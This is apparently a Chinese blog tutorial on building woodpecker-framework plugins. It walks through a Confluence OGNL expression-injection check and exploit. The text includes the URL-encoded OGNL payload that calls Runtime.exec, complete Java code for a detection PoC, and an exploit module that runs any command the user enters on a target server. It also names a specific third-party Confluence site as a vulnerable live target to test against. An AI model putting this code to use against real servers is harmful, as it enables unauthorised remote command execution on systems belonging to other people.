woodpecker插件编写
目录
- woodpecker介绍
- woodpecker使用
- 插件编写 - 安装环境 - woodpecker-sdk
- woodpecker-request
 
- 创建Maven项目
 
- 安装环境 
- Confluence OGNL表达式注入漏洞插件编写 - 创建Package包和Class类
- 编写POC - 漏洞POC
- 代码编写
- 导出jar包
- 将jar包放入woodpecker的plugin目录
- 运行woodpecker测试
 
- 编写EXP - 代码编写
- 运行woodpecker测试
 
 
woodpecker介绍
- https://github.com/woodpecker-framework/woodpecker-framework-release
woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞。
针对人群:专业打点人士。
- 目标探测
- 精准检测
- 深度利用
- 荷载生成

woodpecker使用
java -jar woodpecker-framework.1.3.5.jar
运行之后,会自动生成common、config.db、plugin

plugin用来存放woopecker插件。
插件编写
安装环境
woodpecker-sdk
woodpecker-sdk是woodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。
- https://github.com/woodpecker-framework/woodpecker-sdk
下载下来,解压,使用IDE打开项目,点击右侧“install”。

woodpecker-request
woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等
- https://github.com/woodpecker-framework/woodpecker-requests
下载下来,解压,使用IDE打开项目,点击右侧“install”。

创建Maven项目


    <dependencies><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-sdk</artifactId><version>0.3.0</version></dependency><dependency><groupId>me.gv7.woodpecker</groupId><artifactId>woodpecker-requests</artifactId><version>0.2.0</version></dependency></dependencies>
Confluence OGNL表达式注入漏洞插件编写
创建Package包和Class类
创建Package包
- exploit
- pocs
- utils
和Class类
- ConfluenceVulPlugin(不固定,和漏洞名相关)
- WoodpeckerPluginManager整个程序的入口
- ConfluenceOgnlPoc(不固定,和漏洞名相关)
- ConfluenceOgnlExp(不固定,和漏洞名相关)

编写POC
漏洞POC
http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/
进行url编码为:
/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/
代码编写
WoodpeckerPluginManager类:(整个插件的入口)
package me.gv7.woodpecker.plugin;// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{@Overridepublic void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {// 注册漏洞插件iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );}
}
ConfluenceVulPlugin类:(具体的漏洞插件类)
package me.gv7.woodpecker.plugin;import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;import java.util.ArrayList;
import java.util.List;// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{public static IVulPluginCallbacks callbacks;public static IPluginHelper pluginHelper;@Overridepublic void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {this.callbacks = iVulPluginCallbacks;this.pluginHelper = iVulPluginCallbacks.getPluginHelper();iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述// 注册漏洞验证模块iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());// 注册漏洞利用模块(利用模块可以有多个)List<IExploit> exploitList = new ArrayList();exploitList.add(new ConfluenceOgnlExp());iVulPluginCallbacks.registerExploit(exploitList);}
}ConfluenceOgnlPoc类:
package me.gv7.woodpecker.plugin.pocs;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.util.HashMap;
import java.util.Map;
import java.util.Objects;public class ConfluenceOgnlPoc implements IPoc {@Overridepublic IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {// 创建输出模块,用作结果的输出IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();// 设置目标地址,iTarget.getAddress()由插件面板获取地址scanResult.setTarget(iTarget.getAddress());// 调用漏洞验证函数Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());scanResult.setExists((Boolean) responseMap.get("flag"));scanResult.setMsg((String) responseMap.get("results"));iResultOutput.infoPrintln((String) responseMap.get("results"));return scanResult;}// 漏洞验证函数private Map<String, Object> checkConfluenceOgnl(String address){Map<String,Object> responseMap = new HashMap<>();boolean flag = false;String results  = null;try {/*Requests.get()发送一个get请求(验证漏洞的POC)。verify(false) : 忽略https证书失效timeout(3000) : 超时时间3000毫秒send() : 发送*/RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();String header = response.getHeader("X-Response");if(response.statusCode() == 302 && header.contains("ognlinject")){flag = true;results = String.format("%s存在命令注入漏洞!!!",address);}else {flag = false;results = String.format("%s不存在命令注入漏洞",address);}}catch (Exception e){flag = false;results = String.format("%s不存在命令注入漏洞",address);}finally {// 设置responseMap的值,将flag和results带回去responseMap.put("flag",flag);responseMap.put("results",results);}// 返回return responseMap;}
}
导出jar包
点击“package”生成jar包:


将jar包放入woodpecker的plugin目录

运行woodpecker测试

测试网址:此网址存在该漏洞
https://confluence.startwire.com
编写EXP
代码编写
ConfluenceOgnlExp类:
package me.gv7.woodpecker.plugin.exploit;import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;public class ConfluenceOgnlExp implements IExploit {@Overridepublic String getExploitTabCaption() {return "代码执行";  // 选项名称}// 接收用户参数@Overridepublic IArgsUsageBinder getExploitCustomArgs() {IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();List<IArg> args = new ArrayList<>();IArg command = ConfluenceVulPlugin.pluginHelper.createArg();command.setDescription("执行的命令");command.setName("Command");command.setDefaultValue("whoami");command.setRequired(true);  // 必填args.add(command);argsUsageBinder.setArgsList(args);return argsUsageBinder;}@Overridepublic void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {try {String command = (String) map.get("Command");command = URLEncoder.encode(command);String address = iTarget.getAddress();RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();if (response.statusCode() == 302){String responseHeader = response.getHeader("X-Response");iResultOutput.successPrintln(responseHeader);}else{iResultOutput.failPrintln("执行失败了~");}}catch (Exception e){iResultOutput.failPrintln("执行异常了~");}}
}
运行woodpecker测试

